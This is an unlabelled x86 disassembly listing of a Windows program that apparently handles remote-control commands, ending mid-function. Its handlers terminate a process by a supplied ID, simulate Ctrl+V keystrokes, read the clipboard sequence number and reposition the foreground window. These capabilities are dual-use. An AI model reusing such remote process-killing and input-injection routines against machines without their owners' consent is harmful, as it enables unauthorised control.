call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e3358
cmp eax, 0
je case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x1c]
and ax, 0xffff
mov word [0x54967c], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov ebx, dword [eax*4 + 0x53f950]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x5496e0], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
shr eax, 0x19
and al, 1
mov byte [ebp - 0xfd], al
cmp byte [ebp - 0xfd], 1
jne 0x4e33ad
mov byte [0x53f478], 0xff
mov byte [0x53f4c0], 0
xor eax, eax
mov dword [0x549948], eax
jmp 0x4e33c9
call fcn.004dfadc
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5409d0]
cmp dword [eax], 0
jg 0x4e33bd
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x53f48c], al
cmp byte [0x53f48c], 0
je 0x4e34a6
mov byte [0x5496a8], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54969c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5496a0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0xc
and al, 0xf
mov byte [0x53f4b8], al
cmp byte [0x5496a9], 0
jle 0x4e3435
mov al, byte [0x5496a9]
mov byte [0x53f4bc], al
jmp 0x4e344a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 0xf
mov byte [0x53f4bc], al
call fcn.004d9180
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xf
mov byte [0x549690], al
test ebx, ebx
jle 0x4e346c
mov eax, ebx
call fcn.004dfb4c
shl eax, 2
mov dword [0x53f4b4], eax
jmp 0x4e347b
mov eax, ebx
call fcn.004dfb4c
shl eax, 3
mov dword [0x53f4b4], eax
mov eax, dword [0x53f4b4]
test eax, eax
jns 0x4e3487
add eax, 3
sar eax, 2
call fcn.004030b8
mov edx, eax
neg eax
add eax, eax
mov dword [0x53f4a0], eax
mov byte [0x5496e0], 1
jmp 0x4e3559
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
and al, 0xff
mov byte [0x5496a8], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and al, 0xf
mov byte [0x53f4b8], al
cmp byte [0x53f4b8], 2
jne 0x4e34e3
call fcn.0046eff0
fcomp dword [0x4e7bac]
fnstsw ax
sahf
jbe 0x4e34e3
mov byte [0x53f4b8], 3
cmp byte [0x5496a9], 0
jle 0x4e34f8
mov al, byte [0x5496a9]
mov byte [0x53f4bc], al
jmp 0x4e350d
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x53f4bc], al
call fcn.004d9180
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x549690], al
cmp dword [0x5496d8], 0xb436
ja 0x4e3534
mov eax, ebx
call fcn.004dfb4c
mov dword [0x53f4b4], eax
jmp 0x4e353e
mov dword [0x53f4b4], 0x3e8
mov dword [0x53f4a0], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x53fa98], eax
xor eax, eax
mov dword [0x5496ac], eax
cmp byte [0x5496e0], 0
je 0x4e356b
cmp byte [0x5496e1], 0
je 0x4e358b
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b4fd4
test al, al
je 0x4e358b
call fcn.004b5184
cmp byte [0x53f4bc], 3
je 0x4e3599
call fcn.004d1e8c
cmp byte [0x53f4bc], 4
je 0x4e35a7
call fcn.004d3750
cmp dword [0x549898], 3
jne 0x4e35e4
movsx eax, byte [0x53f478]
mov edx, dword [0x53f4b4]
call fcn.004d2bd0
cmp byte [0x53f4bc], 5
je 0x4e35d5
or eax, 0xffffffff
call fcn.004d2b38
jmp 0x4e3609
mov edx, 2
or eax, 0xffffffff
call fcn.004d2b64
jmp 0x4e3609
cmp byte [0x53f4bc], 5
je 0x4e35f4
call fcn.004d2500
jmp 0x4e3609
mov eax, dword [0x540b64]
cmp dword [eax], 0xffffffd8
jge 0x4e3609
mov eax, dword [0x540b64]
mov dword [eax], 0xffffffd8
cmp byte [0x53f47c], 0
jne 0x4e37ee
mov dl, 1
mov eax, dword [0x4222bc]
call fcn.004288f8
mov dword [0x549694], eax
mov dl, 7
mov eax, dword [0x549694]
call fcn.00429e70
mov dl, 1
mov eax, dword [0x4222bc]
call fcn.004288f8
mov dword [0x549698], eax
mov dl, 7
mov eax, dword [0x549698]
call fcn.00429e70
cmp dword [0x53f490], 0
jne 0x4e366a
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov dword [0x53f490], eax
cmp dword [0x53f494], 0
jne 0x4e3684
mov dl, 1
mov eax, dword [0x473b00]
call fcn.00473c98
mov dword [0x53f494], eax
cmp dword [0x53f498], 0
jne 0x4e369e
mov dl, 1
mov eax, dword [0x414ebc]
call fcn.0040377c
mov dword [0x53f498], eax
mov eax, dword [0x540ee4]
cmp dword [eax], 0
jne 0x4e36bc
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov edx, dword [0x540ee4]
mov dword [edx], eax
mov eax, dword [0x5407e4]
cmp dword [eax], 0
jne 0x4e36da
mov dl, 1
mov eax, dword [0x473b00]
call fcn.00473c98
mov edx, dword [0x5407e4]
mov dword [edx], eax
mov eax, dword [0x540444]
cmp dword [eax], 0
jne 0x4e36f8
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov edx, dword [0x540444]
mov dword [edx], eax
mov eax, dword [0x5408b0]
cmp dword [eax], 0
jne 0x4e3716
mov dl, 1
mov eax, dword [0x473b00]
call fcn.00473c98
mov edx, dword [0x5408b0]
mov dword [edx], eax
mov eax, dword [0x540874]
cmp byte [eax], 0
jne 0x4e37c7
push 0
push 3
lea eax, [ebp - 0x930]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x930]
mov edx, 0x4e7bb8
call fcn.0046d740
mov dword [ebp - 0x50], eax
xor edx, edx
mov eax, dword [ebp - 0x50]
call fcn.004ae124
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5408bc]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x934]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x934]
mov edx, 0x4e7bd0
call fcn.0046d740
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e37bf
dec dword [ebp - 0x50]
mov cl, 1
mov dl, 1
mov eax, dword [0x4fbc2c]
call fcn.0041f2ec
mov edx, dword [ebp - 0x50]
mov dword [eax + 0x30], edx
call fcn.0041f638
cmp dword [ebp - 0x50], 0
jg 0x4e379d
mov eax, dword [0x540874]
mov byte [eax], 1
mov word [0x53f374], 0
xor eax, eax
mov dword [0x5496c0], eax
xor eax, eax
mov dword [0x53f4cc], eax
xor eax, eax
mov dword [0x5496fc], eax
mov byte [0x53f47c], 0xff
jmp 0x4e37fa
xor edx, edx
mov eax, dword [0x549698]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x53f480], 0
cmp dword [0x53f4b4], 0x32
jge 0x4e3840
cmp byte [0x53f4b8], 3
je 0x4e3840
mov dword [0x549680], 0xffffffff
mov dword [0x549684], 0xffffffff
mov dword [0x549688], 0xffffffff
mov dword [0x54968c], 0xffffffff
jmp case.0x4e0a85.10
mov dword [0x549680], 0
mov dword [0x549684], 0
mov dword [0x549688], 0
mov dword [0x54968c], 0
jmp case.0x4e0a85.10
mov byte [0x53f480], 1
mov dword [0x53f4b4], 0x7d0
jmp case.0x4e0a85.10
cmp byte [0x53f47c], 0
je case.0x4e0a85.10
mov byte [0x53f47c], 0
mov byte [0x53f48c], 0
mov dword [0x53f4b4], 0x7d0
xor word [0x54967c], 0x1a0a
jmp 0x4e38bf
call fcn.004dfadc
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5409d0]
cmp dword [eax], 0
jg 0x4e38b3
mov eax, dword [0x549694]
call fcn.004037ac
mov eax, dword [0x549698]
call fcn.004037ac
mov eax, 0x53f49c
call fcn.0040e2f4
call fcn.004e07b0
cmp byte [0x53fad8], 0
jne 0x4e3904
call fcn.004d3e78
call fcn.004d512c
call fcn.004d5888
call fcn.004d3750
call fcn.004d1e8c
cmp dword [0x549898], 3
jne 0x4e3921
or eax, 0xffffffff
call fcn.004d2b38
jmp 0x4e3926
call fcn.004d2500
call fcn.004fbfe8
jmp case.0x4e0a85.10
cmp byte [0x53f47c], 0
je case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x50], eax
cmp byte [0x53f48c], 0
jne 0x4e3972
cmp dword [ebp - 0x50], 2
jne 0x4e3972
call fcn.0046eff0
fcomp dword [0x4e7bac]
fnstsw ax
sahf
jbe 0x4e3972
mov dword [ebp - 0x50], 3
movsx eax, byte [0x53f4b8]
cmp eax, dword [ebp - 0x50]
je 0x4e39a3
mov al, byte [ebp - 0x50]
mov byte [0x53f4b8], al
cmp byte [0x53f4b8], 2
jl 0x4e39a3
mov dword [0x549680], 0
mov dword [0x549684], 0
cmp byte [0x5496a9], 0
jle 0x4e39b8
mov al, byte [0x5496a9]
mov byte [0x53f4bc], al
jmp 0x4e39cd
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x53f4bc], al
call fcn.004d9180
cmp byte [0x53f4bc], 3
je 0x4e39db
call fcn.004d1e8c
cmp byte [0x53f4bc], 4
je 0x4e39e9
call fcn.004d3750
cmp dword [0x549898], 3
jne 0x4e3a26
movsx eax, byte [0x53f478]
mov edx, dword [0x53f4b4]
call fcn.004d2bd0
cmp byte [0x53f4bc], 5
je 0x4e3a17
or eax, 0xffffffff
call fcn.004d2b38
jmp 0x4e3a4b
mov edx, 2
or eax, 0xffffffff
call fcn.004d2b64
jmp 0x4e3a4b
cmp byte [0x53f4bc], 5
je 0x4e3a36
call fcn.004d2500
jmp 0x4e3a4b
mov eax, dword [0x540b64]
cmp dword [eax], 0xffffffd8
jge 0x4e3a4b
mov eax, dword [0x540b64]
mov dword [eax], 0xffffffd8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x1f
mov ebx, dword [eax*4 + 0x53f950]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 1
mov byte [0x5496e0], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 9
and al, 1
mov byte [ebp - 0xfd], al
cmp byte [ebp - 0xfd], 0
jne 0x4e3a8c
mov byte [0x53f478], 0
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x549690], al
cmp byte [0x53f48c], 0
je 0x4e3acf
test ebx, ebx
jle 0x4e3ab7
mov eax, ebx
call fcn.004dfb4c
shl eax, 2
mov dword [0x53f4b4], eax
jmp 0x4e3ac6
mov eax, ebx
call fcn.004dfb4c
shl eax, 3
mov dword [0x53f4b4], eax
mov byte [0x5496e0], 1
jmp 0x4e3af3
cmp dword [0x5496d8], 0xb436
ja 0x4e3ae9
mov eax, ebx
call fcn.004dfb4c
mov dword [0x53f4b4], eax
jmp 0x4e3af3
mov dword [0x53f4b4], 0x3e8
cmp byte [0x5496e0], 0
je 0x4e3b09
cmp byte [0x5496e1], 0
je case.0x4e0a85.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b4fd4
test al, al
je case.0x4e0a85.10
call fcn.004b5184
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
and ax, 0xffff
mov word [0x54967c], ax
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x5496e4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x5496e8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x5496ec], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x5496f0], eax
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x5496f4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x5496f8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x5496fc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x549700], eax
jmp case.0x4e0a85.10
lea eax, [ebp - 0xe4]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea eax, [ebp - 0xe4]
call fcn.004db564
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0
je 0x4e3c0d
mov ecx, dword [ebp - 0xe4]
mov dx, word [0x4e7b98]
mov al, 1
call fcn.004af060
jmp case.0x4e0a85.10
xor ecx, ecx
mov dx, word [0x4e7bdc]
xor eax, eax
call fcn.004af060
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor dl, 1
mov eax, dword [0x540cc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
call fcn.0044f4c0
jmp case.0x4e0a85.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a85.10
lea eax, [ebp - 0x93c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0x93c]
lea edx, [ebp - 0x938]
call fcn.00408e1c
mov edx, dword [ebp - 0x938]
mov eax, 0x5498dc
call fcn.0040460c
push 0
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a85.10
lea eax, [ebp - 0x64]
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x9f
jne 0x4e3cdf
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 4], 0x20
jle 0x4e3cdf
lea edx, [ebp - 0x64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4e3d06
cmp eax, 0xffffffff
je 0x4e3d06
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x64], 0
je case.0x4e0a85.10
lea eax, [ebp - 0x40]
mov edx, dword [ebp - 0x64]
call fcn.00404650
jmp 0x4e16d5
mov eax, dword [ebp - 0x28]
call fcn.004ddfb8
jmp case.0x4e0a85.10
lea edx, [ebp - 0x940]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0x940]
mov eax, 0x549844
call fcn.00404e90
mov dl, 1
mov eax, dword [0x549844]
call fcn.004f7dbc
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4e0a85.10
mov byte [0x53f3e0], 2
call fcn.004d9d54
call fcn.004da71c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
jmp case.0x4e0a85.10
cmp dword [0x54958c], 0
je case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54958c]
je case.0x4e0a85.10
mov edx, 3
mov eax, dword [0x549818]
call fcn.004f51b4
jmp case.0x4e0a85.10
lea edx, [ebp - 0x74]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0x74]
mov eax, 0x4e7be8
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e3e46
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x74]
call fcn.00404ae4
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xaf
jne 0x4e3e62
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
call fcn.004f289c
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xae
jne 0x4e3e83
or edx, 0xffffffff
mov eax, dword [ebp - 0x74]
call fcn.004094cc
call fcn.004f29a0
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb4
jne 0x4e3ea5
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x549824]
call fcn.004048d8
jmp 0x4e16d5
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb5
jne case.0x4e0a85.10
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x549824]
call fcn.004048d8
jmp 0x4e16d5
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4e0a85.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0a85.10
lea eax, [ebp - 0x1e0]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e0]
and ecx, 0xffff
mov eax, dword [ebp - 0x1dc]
shl eax, 0x10
or ecx, eax
mov edx, 0xf8
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov si, word [eax + 0x10]
and si, 0xffff
movsx esi, si
mov eax, dword [ebp - 0x2c]
mov edi, dword [eax + 0x10]
shr edi, 0x10
movsx edi, di
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x58], eax
push 0
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x54]
push eax
push edi
push esi
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4e0a85.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4e0a85.10
push 0
lea eax, [ebp - 0x200]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e0]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 9
ja case.0x4e3ff9.0
jmp dword [eax*4 + 0x4e4000]
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e423f
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e4066
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e423f
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e423f
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e40db
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e423f
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e4127
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
jmp 0x4e423f
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e423f
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e4184
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e423f
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1f8]
sub edx, eax
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1f4]
sub edx, eax
mov dword [ebp - 0x1ec], edx
jmp 0x4e423f
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4e4206
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4e4233
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1ec]
push eax
mov eax, dword [ebp - 0x1f0]
push eax
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4e0a85.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e428b
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
call fcn.004b0a44
test eax, eax
je case.0x4e0a85.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab8
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
lea edx, [ebp - 0x944]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x944]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x948]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x948]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
lea eax, [ebp - 0x94c]
call fcn.00471c18
mov eax, dword [ebp - 0x94c]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x540ea8]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4442
mov eax, dword [0x549570]
call fcn.0046dd44
test al, al
je 0x4e4442
lea edx, [ebp - 0x950]
mov eax, 0x83
call fcn.004ab8e8
mov eax, dword [ebp - 0x950]
push eax
lea edx, [ebp - 0x954]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x954]
push eax
lea eax, [ebp - 0x958]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0x958]
pop eax
pop edx
call fcn.0046c30c
call fcn.0040b13c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x95c]
mov eax, 0x84
call fcn.004ab8e8
mov eax, dword [ebp - 0x95c]
push eax
lea edx, [ebp - 0x960]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x960]
pop edx
call fcn.0046c7a4
lea edx, [ebp - 0x964]
mov eax, 0x85
call fcn.004ab8e8
mov eax, dword [ebp - 0x964]
push eax
lea edx, [ebp - 0x968]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x968]
pop edx
call fcn.0046d0fc
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab9
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
mov edx, 5
xor eax, eax
call fcn.004f51b4
jmp case.0x4e0a85.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3aba
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e448e
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
cmp byte [0x53fb78], 0
jne 0x4e4604
call fcn.004b0b80
test eax, eax
jne 0x4e4604
lea edx, [ebp - 0x96c]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x96c]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x970]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x970]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7c08
pop eax
call fcn.0046cc5c
mov eax, dword [0x540b30]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4604
mov eax, dword [0x5408f4]
cmp byte [eax], 0
je 0x4e4543
mov eax, dword [0x5408f4]
mov al, byte [eax]
call fcn.004b0a70
test eax, eax
jne 0x4e4543
mov eax, dword [0x5408f4]
mov al, byte [eax]
xor ecx, ecx
mov edx, 2
call fcn.004b100c
lea edx, [ebp - 0x974]
mov eax, 0x83
call fcn.004ab8e8
mov eax, dword [ebp - 0x974]
push eax
lea edx, [ebp - 0x978]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x978]
pop edx
call fcn.0046d0fc
lea edx, [ebp - 0x97c]
mov eax, 0x84
call fcn.004ab8e8
mov eax, dword [ebp - 0x97c]
push eax
lea edx, [ebp - 0x980]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x980]
pop edx
call fcn.0046d0fc
lea edx, [ebp - 0x984]
mov eax, 0x85
call fcn.004ab8e8
mov eax, dword [ebp - 0x984]
push eax
lea edx, [ebp - 0x988]
mov eax, 0x11a
call fcn.004ab8e8
mov eax, dword [ebp - 0x988]
pop edx
call fcn.0046d0fc
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abb
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
mov edx, 5
xor eax, eax
call fcn.004f51b4
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abc
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
call fcn.004b0a44
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x4e4759
cmp byte [0x53fb78], 0
jne 0x4e4759
xor eax, eax
push ebp
push 0x4e4752
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
call fcn.004b0b80
test eax, eax
jne 0x4e473d
